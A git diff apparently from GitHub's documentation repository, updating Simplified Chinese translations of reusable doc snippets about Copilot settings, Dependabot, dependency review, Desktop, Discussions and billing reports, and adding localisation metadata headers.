+ms.openlocfilehash: 69fce359695e2b23342e04a73397ac717d580b7b +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193222" +--- +- {% data variables.product.prodname_copilot %} 供经过验证的学生、教师和开放源代码维护者免费使用。 +- 如果你不是学生、教师或开放源代码维护者,则需要一个可用试用版或订阅。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_copilot %} 的计费](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot)”。 diff --git a/translations/zh-CN/data/reusables/copilot/dotcom-settings.md b/translations/zh-CN/data/reusables/copilot/dotcom-settings.md index 6f4ce42556..6aa296d533 100644 --- a/translations/zh-CN/data/reusables/copilot/dotcom-settings.md +++ b/translations/zh-CN/data/reusables/copilot/dotcom-settings.md @@ -1,31 +1,35 @@ -## Configuring {% data variables.product.prodname_copilot %} settings on {% data variables.product.prodname_dotcom_the_website %} +--- +ms.openlocfilehash: 6946b53d41210f3e5ec43a06e0917d60fe959096 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192871" +--- +## 在 {% data variables.product.prodname_dotcom_the_website %} 上配置 {% data variables.product.prodname_copilot %} 设置 -Once you have an active {% data variables.product.prodname_copilot %} trial or subscription, you can adjust {% data variables.product.prodname_copilot %} settings for your personal account on {% data variables.product.prodname_dotcom %} in the [{% data variables.product.prodname_copilot %} settings](https://github.com/settings/copilot). The settings apply anywhere that you use {% data variables.product.prodname_copilot %}. You can configure the suggestions that {% data variables.product.prodname_copilot %} offers and how {% data variables.product.company_short %} uses your telemetry data. +在拥有处于活动状态的 {% data variables.product.prodname_copilot %} 试用版或订阅后,可以在 {% data variables.product.prodname_dotcom %} 上的 [{% data variables.product.prodname_copilot %} 设置](https://github.com/settings/copilot)中为你的个人帐户调整 {% data variables.product.prodname_copilot %} 设置。 无论在何处使用 {% data variables.product.prodname_copilot %},这些设置都适用。 可以配置 {% data variables.product.prodname_copilot %} 提供的建议,以及 {% data variables.product.company_short %} 使用你的遥测数据的方式。 -### Enabling or disabling duplication detection +### 启用或禁用重复检测 {% data reusables.copilot.duplication-setting-org %} -{% data variables.product.prodname_copilot %} includes a filter which detects code suggestions matching public code on {% data variables.product.prodname_dotcom %}. You can choose to enable or disable the filter. When the filter is enabled, {% data variables.product.prodname_copilot %} checks code suggestions with their surrounding code of about 150 characters against public code on {% data variables.product.prodname_dotcom %}. If there is a match or near match, the suggestion will not be shown to you. +{% data variables.product.prodname_copilot %} 包含筛选器,该筛选器用于检测与 {% data variables.product.prodname_dotcom %} 上的公共代码匹配的代码建议。 可以选择启用或禁用筛选器。 启用筛选器后,{% data variables.product.prodname_copilot %} 会根据 {% data variables.product.prodname_dotcom %} 上的公共代码检查代码建议及其周围约 150 个字符的代码。 如果存在匹配或接近匹配,不会向你显示建议。 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.copilot-settings %} -1. Under **Suggestions matching public code**, select the dropdown menu, then click **Allow** to allow suggestions matching public code, or **Block** to block suggestions matching public code. - ![Screenshot of duplication detection option](/assets/images/help/copilot/duplication-detection.png) -{% data reusables.copilot.save-settings %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %} +1. 在“与公共代码匹配的建议”下,选择下拉菜单,然后单击“允许”以允许与公共代码匹配的建议,或单击“阻止”以阻止与公共代码匹配的建议 。 + ![重复检测选项的屏幕截图](/assets/images/help/copilot/duplication-detection.png) {% data reusables.copilot.save-settings %} -### Enabling or disabling telemetry +### 启用或禁用遥测 {% data reusables.copilot.telemetry-setting-org %} -You can choose whether your code snippets are collected and retained by GitHub and further processed and shared with Microsoft and OpenAI by adjusting your user settings. For more information about data that {% data variables.product.prodname_copilot %} may collect depending on your telemetry settings, see "[{% data variables.product.company_short %} Terms for Additional Products and Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)" and the [{% data variables.product.prodname_copilot %} privacy FAQ](https://github.com/features/copilot/#faq-privacy). +通过调整你的用户设置,你可以选择代码片段是否由 GitHub 收集和保留,并进一步通过 Microsoft 和 OpenAI 进行处理和共享。 有关 {% data variables.product.prodname_copilot %} 可能根据你的遥测设置收集的数据的更多信息,请参阅“[{% data variables.product.company_short %} 附加产品和功能条款](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot)”以及“[{% data variables.product.prodname_copilot %} 隐私常见问题解答”](https://github.com/features/copilot/#faq-privacy)。 -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.copilot-settings %} -1. To allow or prevent {% data variables.product.prodname_dotcom %} using your telemetry data, select or deselect **Allow {% data variables.product.prodname_dotcom %} to use my code snippets for product improvements**. - ![Screenshot of telemetry option](/assets/images/help/copilot/telemetry-option.png) -{% data reusables.copilot.save-settings %} +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %} +1. 若要允许或阻止 {% data variables.product.prodname_dotcom %} 使用你的遥测数据,请选择或取消选择“允许 {% data variables.product.prodname_dotcom %} 使用我的代码片段进行产品改进”。 + ![遥测选项的屏幕截图](/assets/images/help/copilot/telemetry-option.png) {% data reusables.copilot.save-settings %} -## Further reading +## 延伸阅读 -- [{% data variables.product.prodname_copilot %} FAQ](https://github.com/features/copilot/#faq) +- [{% data variables.product.prodname_copilot %} 常见问题解答](https://github.com/features/copilot/#faq) diff --git a/translations/zh-CN/data/reusables/copilot/duplication-setting-org.md b/translations/zh-CN/data/reusables/copilot/duplication-setting-org.md new file mode 100644 index 0000000000..54676fb225 --- /dev/null +++ b/translations/zh-CN/data/reusables/copilot/duplication-setting-org.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 1ee05e01e6ff5b072920edecfb1409f9d29f4dc4 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193242" +--- +{% note %} + +注意:如果你是 {% data variables.product.prodname_ghe_cloud %} 的组织成员,已通过你的组织分配了 {% data variables.product.prodname_copilot %} 席位,你将无法在个人帐户设置中配置重复检测。 重复检测设置将从组织或企业继承。 + +{% endnote %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/copilot/install-copilot-in-neovim.md b/translations/zh-CN/data/reusables/copilot/install-copilot-in-neovim.md index 4b10c8048b..95b6c83b8d 100644 --- a/translations/zh-CN/data/reusables/copilot/install-copilot-in-neovim.md +++ b/translations/zh-CN/data/reusables/copilot/install-copilot-in-neovim.md @@ -1 +1,10 @@ -1. {% data variables.product.prodname_dotcom %} recommends that you install the {% data variables.product.prodname_copilot %} plugin with Neovim's built-in plugin manager. Alternatively, you can use a plugin manager of your choice to install `github/copilot.vim`. +--- +ms.openlocfilehash: 1c960bafd80111c73d0bea364cd39e5d68778deb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147079817" +--- +1. 若要在 Neovim 中使用 {% data variables.product.prodname_copilot %},请安装 {% data variables.product.prodname_copilot %} 插件。 可以从插件管理器中安装此插件,也可以直接安装此插件。 + - 如果使用 vim-plug 或 packer.nvim 等插件管理器,请使用插件管理器安装 `github/copilot.vim`。 有关详细信息,请参阅插件管理器的文档。 例如,可以查看 [vim-plug](https://github.com/junegunn/vim-plug) 或 [packer.nvim](https://github.com/wbthomason/packer.nvim) 的文档。 diff --git a/translations/zh-CN/data/reusables/copilot/signup-procedure.md b/translations/zh-CN/data/reusables/copilot/signup-procedure.md index b0a6d60b57..59bda3b326 100644 --- a/translations/zh-CN/data/reusables/copilot/signup-procedure.md +++ b/translations/zh-CN/data/reusables/copilot/signup-procedure.md @@ -1,15 +1,13 @@ --- -ms.openlocfilehash: 8fd599404931b2ec2334e0ad0200bbf8734f962e -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: 495034c23fd83bd0d70bd080c03bbe0cfe455608 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 ms.translationtype: HT ms.contentlocale: zh-CN -ms.lasthandoff: 09/05/2022 -ms.locfileid: "147079826" +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193236" --- -在开始使用 {% data variables.product.prodname_copilot %} 之前,需要设置免费试用或订阅。 - {% data reusables.user-settings.access_settings %} -1. 在边栏的“代码、规划和自动化”部分,单击“{% octicon "copilot" aria-label="The copilot icon" %} GitHub Copilot”。 +1. 在边栏的“代码、规划和自动化”部分,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot %}”。 1. 在 {% data variables.product.prodname_copilot %} 设置页面上,单击“启用 {% data variables.product.prodname_copilot %}”。 ![GitHub Copilot 设置屏幕截图,其中突出显示了启用 {% data variables.product.prodname_copilot %} 按钮](/assets/images/help/copilot/copilot-settings-enable-button.png) diff --git a/translations/zh-CN/data/reusables/copilot/telemetry-setting-org.md b/translations/zh-CN/data/reusables/copilot/telemetry-setting-org.md new file mode 100644 index 0000000000..52461b4ddf --- /dev/null +++ b/translations/zh-CN/data/reusables/copilot/telemetry-setting-org.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: afebc8fafe366fb62687cda658cac25d6f592f4c +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193262" +--- +{% note %} + +注意:如果你是 {% data variables.product.prodname_ghe_cloud %} 的组织成员,已通过你的组织分配了 {% data variables.product.prodname_copilot %} 席位,你将无法在个人帐户设置中配置检测。 遥测将自动禁用。 + +{% endnote %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md b/translations/zh-CN/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md new file mode 100644 index 0000000000..81684c5267 --- /dev/null +++ b/translations/zh-CN/data/reusables/dependabot/beta-security-and-version-updates-onboarding.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 22d4fde4f9dd7adbb4c9620e9d72e6dc52a716d4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129911" +--- +{% ifversion ghes > 3.2 %} + +{% note %} + +注意:Dependabot 安全更新和版本更新目前可用于 {% data variables.product.prodname_ghe_cloud %},其测试版可用于 {% data variables.product.prodname_ghe_server %} 3.3。 有关如何启用 Dependabot 更新的说明,请[联系帐户管理团队](https://enterprise.github.com/contact)。 + +{% endnote %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/dependabot/create-dependabot-yml.md b/translations/zh-CN/data/reusables/dependabot/create-dependabot-yml.md new file mode 100644 index 0000000000..33d2480b6f --- /dev/null +++ b/translations/zh-CN/data/reusables/dependabot/create-dependabot-yml.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4f0e11ed981900a5344ecd114959a3682a81d9fb +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145129901" +--- +1. 创建 dependabot.yml 配置文件。 diff --git a/translations/zh-CN/data/reusables/dependabot/default-dependencies-allow-ignore.md b/translations/zh-CN/data/reusables/dependabot/default-dependencies-allow-ignore.md index 46368bacd4..bb611078d4 100644 --- a/translations/zh-CN/data/reusables/dependabot/default-dependencies-allow-ignore.md +++ b/translations/zh-CN/data/reusables/dependabot/default-dependencies-allow-ignore.md @@ -1 +1,9 @@ -By default all dependencies that are explicitly defined in a manifest are kept up to date by {% data variables.product.prodname_dependabot %} version updates. In addition, {% data variables.product.prodname_dependabot %} security updates also update vulnerable dependencies that are defined in lock files. You can use `allow` and `ignore` to customize which dependencies to maintain. {% data variables.product.prodname_dependabot %} checks for all allowed dependencies and then filters out any ignored dependencies or versions. So a dependency that is matched by both an `allow` and an `ignore` will be ignored. +--- +ms.openlocfilehash: 082f3b30b23ed6c8b2a7a4261cace89e32f0a8c9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145129902" +--- +默认情况下,清单或锁定文件中明确定义的所有依赖项都将保持最新。 可以使用 `allow` 和 `ignore` 自定义要通过版本更新维护的依赖项。 {% data variables.product.prodname_dependabot %} 可检查所有被允许的依赖项,然后过滤到任何被忽略的依赖项或版本。 因此,将忽略由 `allow` 和 `ignore` 匹配的依赖项。 diff --git a/translations/zh-CN/data/reusables/dependabot/dependabot-secrets-button.md b/translations/zh-CN/data/reusables/dependabot/dependabot-secrets-button.md new file mode 100644 index 0000000000..03c7686d40 --- /dev/null +++ b/translations/zh-CN/data/reusables/dependabot/dependabot-secrets-button.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b695c6a312fe02d09d6d00be769e52ca623b7a6c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129892" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“安全性”部分中,选择“{% octicon "key-asterisk" aria-label="The key-asterisk icon" %} 机密”,然后单击“{% data variables.product.prodname_dependabot %}” 。 +{% else %} +1. 在边栏中,单击“{% data variables.product.prodname_dependabot %}”。 + ![{% data variables.product.prodname_dependabot %} 机密边栏选项](/assets/images/enterprise/3.3/dependabot/dependabot-secrets.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md b/translations/zh-CN/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md index 5a91d324de..e73356881b 100644 --- a/translations/zh-CN/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md +++ b/translations/zh-CN/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md @@ -1,10 +1,15 @@ -Repository administrators can enable or disable the dependency graph for private repositories. +--- +ms.openlocfilehash: a9678c48ca3bd557f99816ef21c70c2332fb4e46 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145129890" +--- +仓库管理员可以启用或禁用私有仓库的依赖关系图。 -You can also enable or disable the dependency graph for all repositories owned by your user account or organization. For more information, see "[Configuring the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)." +您也可以为用户帐户或组织拥有的所有仓库启用或禁用依赖项图。 有关详细信息,请参阅“[配置依赖项关系图](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)”。 -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -4. Read the message about granting {% data variables.product.product_name %} read-only access to the repository data to enable the dependency graph, then next to "Dependency Graph", click **Enable**. - !["Enable" button for the dependency graph](/assets/images/help/repository/dependency-graph-enable-button.png) - You can disable the dependency graph at any time by clicking **Disable** next to "Dependency Graph" on the settings page for {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}"Code security and analysis."{% else %}"Security & analysis."{% endif %} +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-code-security-and-analysis %} +4. 阅读有关授予 {% data variables.product.product_name %} 只读访问存储库数据的消息,以启用依赖项关系图,然后在“依赖项关系图”旁边单击“启用”。 + ![依赖项关系图的“启用”按钮](/assets/images/help/repository/dependency-graph-enable-button.png) 可以随时通过在{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %}“代码安全性和分析。”{% else %}“安全性和分析。”{% endif %}的设置页面上单击“依赖项关系图”旁边的“禁用”来禁用依赖项关系图。 diff --git a/translations/zh-CN/data/reusables/dependency-review/action-enterprise.md b/translations/zh-CN/data/reusables/dependency-review/action-enterprise.md index a4594a9171..b0b6e52fbe 100644 --- a/translations/zh-CN/data/reusables/dependency-review/action-enterprise.md +++ b/translations/zh-CN/data/reusables/dependency-review/action-enterprise.md @@ -1,3 +1,10 @@ -{% ifversion ghes or ghae %} -Enterprise owners and people with admin access to a repository can add the {% data variables.dependency-review.action_name %} to their enterprise and repository, respectively. +--- +ms.openlocfilehash: ff7a0c836b3df74110b4613fa032541e0f27d347 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108142" +--- +{% ifversion ghes or ghae %}企业所有者和对存储库具有管理员访问权限的人员可以分别将 {% data variables.product.prodname_dependency_review_action %} 添加到其企业和存储库。 {% endif %} diff --git a/translations/zh-CN/data/reusables/dependency-review/beta.md b/translations/zh-CN/data/reusables/dependency-review/beta.md new file mode 100644 index 0000000000..d8e659ee0f --- /dev/null +++ b/translations/zh-CN/data/reusables/dependency-review/beta.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: b55c1d61ba8da90884c50184240d2aea8e8b0ee9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129866" +--- +{% ifversion ghes = 3.2 %} {% note %} + +注意:依赖项评审目前以 beta 版本提供,并且可能会发生更改。 + +{% endnote %} + +{% endif %} diff --git a/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-beta-note.md b/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-beta-note.md index 178f333a05..c98625c1f1 100644 --- a/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-beta-note.md +++ b/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-beta-note.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: 3f8e07d663acad262311066263894f6eb9573691 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063741" +--- {% note %} -**Note**: The {% data variables.dependency-review.action_name %} is currently in public beta and subject to change. +注意:{% data variables.product.prodname_dependency_review_action %} 目前为公开 beta 版本,可能会有所变化。 -{% endnote %} +{% endnote %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-overview.md b/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-overview.md index fcd68a8459..ddf6b85363 100644 --- a/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-overview.md +++ b/translations/zh-CN/data/reusables/dependency-review/dependency-review-action-overview.md @@ -1,3 +1,11 @@ -The {% data variables.dependency-review.action_name %} scans your pull requests for dependency changes and raises an error if any new dependencies have known vulnerabilities. The action is supported by an API endpoint that compares the dependencies between two revisions and reports any differences. +--- +ms.openlocfilehash: 7e18dc2371c5cb5f84f8ea732e53919a063e596c +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "147079781" +--- +{% data variables.product.prodname_dependency_review_action %} 扫描拉取请求中的依赖项更改,如果有任何新的依赖项存在已知漏洞,则会引发错误。 API 终结点支持此操作,该终结点比较两个修订之间的依赖关系,并报告任何差异。 -For more information about the action and the API endpoint, see the [`dependency-review-action`](https://github.com/actions/dependency-review-action) documentation, and "[Dependency review](/rest/dependency-graph/dependency-review)" in the API documentation. +有关操作和 API 终结点的详细信息,请参阅 API 文档中的“[关于依赖项审查](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review#dependency-review-reinforcement)”和“[依赖项审查](/rest/dependency-graph/dependency-review)”。 diff --git a/translations/zh-CN/data/reusables/dependency-review/dependency-review-api-beta-note.md b/translations/zh-CN/data/reusables/dependency-review/dependency-review-api-beta-note.md new file mode 100644 index 0000000000..67d11686b7 --- /dev/null +++ b/translations/zh-CN/data/reusables/dependency-review/dependency-review-api-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d1a631c8bcd74e56e3bd849292180f341f0ee75e +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147876045" +--- +{% note %} + +注意:依赖项审查 API 目前处于公测阶段,可能会更改。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/desktop/get-an-account.md b/translations/zh-CN/data/reusables/desktop/get-an-account.md index 545cc0f5b9..008c0c1c8d 100644 --- a/translations/zh-CN/data/reusables/desktop/get-an-account.md +++ b/translations/zh-CN/data/reusables/desktop/get-an-account.md @@ -1,4 +1,12 @@ -you must already have an account on {% data variables.location.product_location %}. +--- +ms.openlocfilehash: 41049556184008283745fe15886e9667774ec424 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129775" +--- +你必须在 {% data variables.product.product_location %} 上拥有帐户。 -- For more information on creating an account on {% data variables.location.product_location %} account, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account/)". -- For a {% data variables.product.prodname_enterprise %} account, contact your {% data variables.product.prodname_enterprise %} site administrator. +- 有关在 {% data variables.product.product_location %} 帐户上创建帐户的更多信息,请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/articles/signing-up-for-a-new-github-account/)”。 +- 对于 {% data variables.product.prodname_enterprise %} 帐户,请联系您的 {% data variables.product.prodname_enterprise %} 网站管理员。 diff --git a/translations/zh-CN/data/reusables/desktop/paste-email-git-config.md b/translations/zh-CN/data/reusables/desktop/paste-email-git-config.md new file mode 100644 index 0000000000..d839eae6b9 --- /dev/null +++ b/translations/zh-CN/data/reusables/desktop/paste-email-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 65ec5525e5d4a8ccac6bd6fff083c9b00e60e01f +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145129754" +--- +1. 在“电子邮件”字段中,粘贴从 {% data variables.product.prodname_dotcom %} 或 {% data variables.product.prodname_enterprise %} 帐户设置中复制的电子邮件地址。 diff --git a/translations/zh-CN/data/reusables/discussions/discussion-category-forms-beta.md b/translations/zh-CN/data/reusables/discussions/discussion-category-forms-beta.md new file mode 100644 index 0000000000..9b9983a9f7 --- /dev/null +++ b/translations/zh-CN/data/reusables/discussions/discussion-category-forms-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2899f99d030f3aaf3910c8ba319e049141b8724a +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193209" +--- +{% note %} + +注意:讨论类别表单目前为有限公共 beta 版,可能随时发生更改。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/discussions/discussion-category-forms-name.md b/translations/zh-CN/data/reusables/discussions/discussion-category-forms-name.md new file mode 100644 index 0000000000..13f2e344b8 --- /dev/null +++ b/translations/zh-CN/data/reusables/discussions/discussion-category-forms-name.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2eec5f30b3778bb590ae07073965156e03c044ba +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193237" +--- + 该名称必须与某个讨论类别的数据域相对应。 例如,“公告”类别的模板应为 `.github/DISCUSSION_TEMPLATE/announcements.yml`。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md b/translations/zh-CN/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md index e80cf9e28e..70b44db1f8 100644 --- a/translations/zh-CN/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md +++ b/translations/zh-CN/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md @@ -1,8 +1,15 @@ -1. On {% data variables.location.product_location %}, navigate to the main page of your organization. -1. Under your organization name, click {% octicon "gear" aria-label="The gear icon" %} -**Settings**. -![Organization settings button](/assets/images/help/discussions/org-settings.png) -1. Under "Discussions", select **Enable discussions for this organization**. -1. Select a repository to use as the source repository for your organization discussions. - ![Settings to enable discussions for an organization](/assets/images/help/discussions/enable-org-discussions.png) -1. Click **Save**. +--- +ms.openlocfilehash: f3a872ceadabe044524f906f9c713c2682e0ab88 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145129690" +--- +1. 在 {% data variables.product.product_location %} 上,导航到组织的主页。 +1. 在组织名称下,单击 {% octicon "gear" aria-label="The gear icon" %}“设置”。 +![组织设置按钮](/assets/images/help/discussions/org-settings.png) +1. 在“讨论”下,选择“为此组织启用团队讨论”。 +1. 选择一个存储库作为组织讨论的源存储库。 + ![用于为组织启用讨论的设置](/assets/images/help/discussions/enable-org-discussions.png) +1. 单击“保存” 。 diff --git a/translations/zh-CN/data/reusables/discussions/navigate-to-repo-or-org.md b/translations/zh-CN/data/reusables/discussions/navigate-to-repo-or-org.md index 17ca81827c..3d630bbded 100644 --- a/translations/zh-CN/data/reusables/discussions/navigate-to-repo-or-org.md +++ b/translations/zh-CN/data/reusables/discussions/navigate-to-repo-or-org.md @@ -1 +1,9 @@ -1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization. +--- +ms.openlocfilehash: 5d42e411b239f760ca058d6082557918f9fe9eee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129686" +--- +1. 在 {% data variables.product.product_location %} 上,导航到存储库或组织的主页。 diff --git a/translations/zh-CN/data/reusables/discussions/starting-a-discussion.md b/translations/zh-CN/data/reusables/discussions/starting-a-discussion.md index fb8a039155..10e973607b 100644 --- a/translations/zh-CN/data/reusables/discussions/starting-a-discussion.md +++ b/translations/zh-CN/data/reusables/discussions/starting-a-discussion.md @@ -1,10 +1,18 @@ -1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to start a discussion. +--- +ms.openlocfilehash: 4a1af9bdfa8fa3b86b2d64706d24a9dd1d33fd6f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145129675" +--- +1. 在 {% data variables.product.product_location %} 上,导航到要在其中开始讨论的存储库或组织的主页。 {% data reusables.discussions.discussions-tab %} -1. Click **New discussion**. - !["New discussion" button within the "Discussions" tab for a repository](/assets/images/help/discussions/new-discussion-button.png) -1. Select the **Select Category** drop-down menu, and click a category for your discussion. - !["Select Category" drop-down menu and list of available categories in a repository](/assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png) -1. Type a title and body for your discussion. - ![Text fields for new discussion's title and body](/assets/images/help/discussions/new-discussion-title-and-body-fields.png) -1. Click **Start discussion**. - !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png) +1. 单击“新建讨论”。 + ![存储库“讨论”选项卡中的“新建讨论”按钮](/assets/images/help/discussions/new-discussion-button.png) +1. 选择“选择类别”下拉菜单,然后单击某个类别进行讨论。 + ![“选择类别”下拉菜单和存储库中可用类别的列表](/assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png) +1. 输入讨论的标题和正文。 + ![新讨论标题和正文的文本字段](/assets/images/help/discussions/new-discussion-title-and-body-fields.png) +1. 单击“开始讨论”。 + ![“开始讨论”按钮](/assets/images/help/discussions/new-discussion-start-discussion-button.png) diff --git a/translations/zh-CN/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md b/translations/zh-CN/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md index 60ee6451a7..e9ae55c35f 100644 --- a/translations/zh-CN/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md +++ b/translations/zh-CN/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md @@ -1,2 +1,10 @@ -1. Optionally, next to "Usage this month", click **Get usage report** to get an email containing a link for downloading a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %}. The email is sent to your account's primary email address. You can choose whether the report should cover the last 7, 30, 90, or 180 days. - ![Download CSV report](/assets/images/help/billing/actions-packages-report-download.png) +--- +ms.openlocfilehash: 88907294e96dac1ec0a026d4c5bdcb7b7af642eb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146377525" +--- +1. 